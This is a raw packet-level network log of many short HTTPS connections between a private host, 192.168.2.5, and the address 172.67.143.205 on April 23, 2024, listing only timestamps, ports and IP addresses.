Apr 23, 2024 21:54:08.406371117 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.406439066 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.407244921 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.407314062 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.407337904 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.407427073 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.407486916 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.407500029 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.407542944 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.407555103 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.407665968 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.407737970 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.408015966 CEST	49777	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.408050060 CEST	443	49777	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.408484936 CEST	49783	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.408570051 CEST	443	49783	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.408658981 CEST	49783	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.409252882 CEST	49783	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.409285069 CEST	443	49783	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.444715977 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.444888115 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.444953918 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.445102930 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.445144892 CEST	443	49776	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.445169926 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.445436001 CEST	49776	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.450103045 CEST	49784	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.450138092 CEST	443	49784	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.450193882 CEST	49784	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.450517893 CEST	49784	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.450532913 CEST	443	49784	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.482275009 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.482419014 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.482489109 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.482548952 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.482646942 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.482713938 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.482729912 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.482827902 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.482872963 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.482886076 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.482980967 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.483067036 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.483098030 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.483114004 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.483161926 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.483174086 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.523713112 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.523731947 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.529032946 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.529139042 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.529150963 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.529180050 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.529247999 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.529278994 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.529568911 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.529630899 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.529689074 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.529695988 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.529721022 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.529757023 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.530184031 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.530241013 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.530256033 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.530349016 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.530421019 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.530432940 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.530976057 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.531039953 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.531054020 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.531141043 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.531203032 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.531220913 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.531306028 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.531373978 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.531380892 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.531403065 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.531466961 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.531866074 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.532018900 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.532069921 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.532083988 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.559422016 CEST	443	49782	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.559580088 CEST	443	49782	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.559636116 CEST	49782	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.559659958 CEST	443	49782	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.559746981 CEST	443	49782	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.559818029 CEST	49782	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.567715883 CEST	49782	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.567732096 CEST	443	49782	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.574485064 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.582278013 CEST	49785	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.582314014 CEST	443	49785	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.582555056 CEST	49785	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.583565950 CEST	49785	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.583583117 CEST	443	49785	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.586025953 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.586275101 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.586296082 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.586328983 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.586364985 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.586414099 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.586626053 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.586679935 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.586694956 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.586729050 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.586746931 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.586795092 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.587333918 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.587395906 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.588395119 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.588433981 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.588470936 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.588494062 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.588577986 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.631629944 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.631728888 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.631756067 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.631813049 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.633217096 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.633227110 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.633274078 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.633287907 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.633339882 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.634491920 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.634551048 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.634560108 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.634597063 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.634627104 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.634646893 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.635382891 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.635418892 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.635448933 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.635462999 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.635492086 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.635510921 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.636204004 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.636260986 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.636271000 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.636287928 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.636322021 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.636343002 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.636692047 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.636756897 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.642801046 CEST	443	49783	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.646754980 CEST	49783	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.646811008 CEST	443	49783	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.647367954 CEST	443	49783	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.648271084 CEST	49783	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.648379087 CEST	443	49783	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.648448944 CEST	49783	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.648485899 CEST	443	49783	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.671555996 CEST	443	49784	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.673959017 CEST	49784	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.673984051 CEST	443	49784	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.674465895 CEST	443	49784	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.675060034 CEST	49784	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.675211906 CEST	443	49784	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.675224066 CEST	49784	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.675230980 CEST	443	49784	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.690596104 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.690664053 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.690701008 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.690762043 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.690795898 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.690851927 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.690865993 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.690952063 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.691061974 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.691591978 CEST	49780	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.691622019 CEST	443	49780	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.692688942 CEST	443	49781	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.693037033 CEST	443	49781	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.693269014 CEST	49781	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.695174932 CEST	49781	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.695189953 CEST	443	49781	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.698793888 CEST	49783	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.728542089 CEST	49784	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.813085079 CEST	443	49785	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.813390970 CEST	49785	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.813404083 CEST	443	49785	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.816950083 CEST	443	49785	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.817023039 CEST	49785	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.817394972 CEST	49785	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.817471981 CEST	443	49785	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.817584991 CEST	49785	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.817591906 CEST	443	49785	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.820431948 CEST	49786	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.820463896 CEST	443	49786	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.820539951 CEST	49786	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.820749998 CEST	49786	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.820766926 CEST	443	49786	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.822957039 CEST	49787	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.823010921 CEST	443	49787	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.823091030 CEST	49787	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.823277950 CEST	49787	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.823309898 CEST	443	49787	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.870825052 CEST	49785	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:08.870835066 CEST	443	49785	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:08.916322947 CEST	49785	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.047139883 CEST	443	49787	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.047600031 CEST	49787	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.047662020 CEST	443	49787	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.048707008 CEST	443	49786	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.048835993 CEST	443	49787	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.048885107 CEST	49786	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.048943996 CEST	443	49786	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.049288988 CEST	49787	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.049395084 CEST	49787	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.049410105 CEST	443	49787	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.049468994 CEST	443	49786	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.049483061 CEST	443	49787	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.049726963 CEST	49786	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.049823046 CEST	443	49786	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.049858093 CEST	49786	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.092133999 CEST	443	49786	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.103915930 CEST	49786	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.103971958 CEST	49787	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.187438965 CEST	443	49783	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.187572956 CEST	443	49783	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.187661886 CEST	49783	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.187721014 CEST	443	49783	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.187777042 CEST	443	49783	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.187849998 CEST	49783	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.188695908 CEST	49783	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.188729048 CEST	443	49783	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.190893888 CEST	49789	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.190974951 CEST	443	49789	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.191083908 CEST	49789	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.191802979 CEST	49790	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.191859007 CEST	443	49790	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.191948891 CEST	49790	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.192279100 CEST	49791	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.192368984 CEST	443	49791	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.192439079 CEST	49791	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.192543983 CEST	49789	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.192576885 CEST	443	49789	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.192812920 CEST	49790	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.192850113 CEST	443	49790	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.193187952 CEST	49791	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.193223953 CEST	443	49791	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.194673061 CEST	49792	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.194704056 CEST	443	49792	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.194781065 CEST	49792	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.195019960 CEST	49792	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.195041895 CEST	443	49792	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.255053997 CEST	443	49784	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.255147934 CEST	443	49784	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.255192041 CEST	49784	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.256159067 CEST	49784	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.256171942 CEST	443	49784	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.258747101 CEST	49793	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.258771896 CEST	443	49793	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.258977890 CEST	49793	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.259233952 CEST	49793	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.259247065 CEST	443	49793	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.259569883 CEST	49794	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.259648085 CEST	443	49794	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.259799957 CEST	49794	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.261029005 CEST	49794	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.261066914 CEST	443	49794	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.368226051 CEST	443	49785	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.368386984 CEST	443	49785	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.368532896 CEST	49785	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.369857073 CEST	49785	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.369867086 CEST	443	49785	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.372898102 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.372970104 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.373070002 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.373274088 CEST	49795	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.373308897 CEST	443	49795	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.374420881 CEST	49796	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.374454021 CEST	443	49796	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.374547005 CEST	49796	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.374715090 CEST	49796	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.374731064 CEST	443	49796	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.421844006 CEST	443	49789	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.422039986 CEST	443	49790	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.425721884 CEST	443	49791	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.425767899 CEST	443	49792	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.461740971 CEST	49792	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.461770058 CEST	443	49792	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.462167025 CEST	49791	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.462188959 CEST	443	49791	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.462290049 CEST	49790	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.462347031 CEST	443	49790	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.463224888 CEST	443	49792	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.463501930 CEST	49789	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.463519096 CEST	443	49789	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.463731050 CEST	443	49790	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.464049101 CEST	49792	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.464263916 CEST	443	49792	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.464426994 CEST	49790	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.464622974 CEST	443	49790	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.464663982 CEST	49792	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.465018988 CEST	443	49789	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.465038061 CEST	49790	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.465069056 CEST	443	49790	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.465439081 CEST	49789	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.465614080 CEST	443	49789	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.465616941 CEST	49789	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.465672016 CEST	443	49789	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.465979099 CEST	443	49791	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.466056108 CEST	49791	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.466465950 CEST	49791	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.466645956 CEST	443	49791	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.466694117 CEST	49791	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.466700077 CEST	443	49791	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.478306055 CEST	443	49793	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.478910923 CEST	49793	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.478925943 CEST	443	49793	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.480377913 CEST	443	49793	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.480473042 CEST	49793	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.480825901 CEST	49793	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.480923891 CEST	443	49793	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.481004953 CEST	49793	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.481013060 CEST	443	49793	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.484817982 CEST	443	49794	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.485035896 CEST	49794	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.485057116 CEST	443	49794	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.485728025 CEST	443	49794	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.486089945 CEST	49794	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.486175060 CEST	443	49794	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.486197948 CEST	49794	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.505570889 CEST	49789	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.512140989 CEST	443	49792	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.521477938 CEST	49791	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.521502972 CEST	443	49791	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.521539927 CEST	49793	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.532124996 CEST	443	49794	172.67.143.205	192.168.2.5
Apr 23, 2024 21:54:09.536709070 CEST	49794	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.573554039 CEST	49791	443	192.168.2.5	172.67.143.205
Apr 23, 2024 21:54:09.595273018 CEST	443	49786	172.67.143.205	192.168.2.5
